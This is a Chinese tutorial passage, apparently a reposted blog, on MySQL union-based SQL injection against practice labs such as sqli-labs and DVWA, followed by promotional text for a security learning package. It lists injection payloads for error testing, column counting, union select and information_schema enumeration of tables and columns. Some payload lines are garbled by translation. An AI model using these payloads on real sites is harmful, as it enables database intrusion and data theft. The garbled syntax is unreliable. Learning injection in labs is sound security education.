然后我输入“index.php?id=1\’ –+”,页面显示正确。
sqli labs 用双引号括起来
dvwa 用单引号括起来
三、以MySQL注入为例
1. 通过在参数后添加引号来报告错误,并使用and 1=1# 和and 1=2# 测试错误。
?id=1\’ and 1=1#页面恢复正常
?id=1\’ and 1=2#页面异常终止
2.使用order by推断字段
使用order by 语句确定当前表中的字符数。
order by 1 字段数必须大于等于1页面才能成功返回。
order by 2 如果页面返回成功,则字段数量必须为2或更多。
依此类推,直到页面失败,正确的字段数是错误数减1。
n-1 的表达式顺序
1\’ 1 by 1 — 空间法线
按1\’ 2 排序– 空间正常
Order by 1\’ 3 — 空格错误
3.使用Union执行查询
-1\’ Union select 1,2–+— 查看哪些字段可以显示信息,并用它来检索数据库信息
— 将ID改为不存在的ID,强制报错。
— 因为代码默认只返回第一个结果,而不是联合选择结果。
4. 获取数据库信息
-1\’ 联合选择1,version()–+
user() — 获取数据库用户名
database() — 获取数据库名称。
version() — 获取数据库版本信息
– 其他信息
@@datadir — 数据库路径
@@version_compile_os — 操作系统版本
5、查询数据库表
id=-1%27 Union select 1,(从information_schema.TABLES 中选择TABLE_NAME,其中TABLE_SCHEMA=database() 限制1)–+
–table_schema=数据库名称(十六进制或单引号)
— 要获取所有表,请更改limit 0,1 之前的参数。
6. 查询数据库字段
还可以通过内置库information_schema 中的COLUMNS 获得相同的查询字段。该表记录了所有表的字段。通过COLUMNS查询users表的字段。
我在两大工厂从事网络安全工作12年,担任过安全服务、售后服务、售前、防卫、安全讲师、销售经理等职位。对行业的了解比较全面。
最近,我一直在阅读各种有关网络安全的文章,其中有一些来自热衷于教育的伟大人士,并且在收到一些个人留言后,发现其中存在一些无良组织。并不是每个人都对完美的系统感到满意。从学习路线到学习资料甚至工具,对网络安全的需求巨大。
最后,我们将这部分内容整合到了282G网络安全信息包中。所有类别条理清晰,知识点层次分明。如果你想要它,请点击下面的小卡片来获取它。现在让我们进入正题。初学者进入网络安全行业的循序渐进之路。
![](https://img-blog.csdnimg.cn/img_convert/311903982dea1d8a5d2c98fc271b5b41.jpeg)
### 学习路线图
其中最引人注目、最基本的是网络安全学习路线图。在这里,我们展示了网络安全学习路线图,经过三个月的打磨并更新至4.0 版本。
相比繁琐的文字,清晰的视频教程更适合没有基础知识的学生。这里有与上面学习路线对应的网络安全视频教程。
![](https://img-blog.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)
#### 网络安全工具箱
当然,一旦你开始使用它,仅仅视频教程并不足以满足你的需求,你需要学习如何使用不同的工具和大量的实际项目。在这里我还将分享我整理的一系列网络安全入门工具。我自己和教程以及实际使用。 **
![](https://img-blog.csdnimg.cn/img_convert/bcd1787ce996787388468bb227d8f959.jpeg)
#### 实际项目
最后是实际项目。我们这里带来的是**SRC数据和HW数据**。毕竟,实战才是检验真理的唯一标准。
![](https://img-blog.csdnimg.cn/img_convert/35fc46df24091ce3c9a5032a9919b755.jpeg)
#### 面试问题
毕竟,我们的最终目标是找到一份工作。不要错过这本结合了众多朋友个人经历的面试题集。
#SQLInjection_以上SQL Injection Union中有关联合注入的信息仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92148.html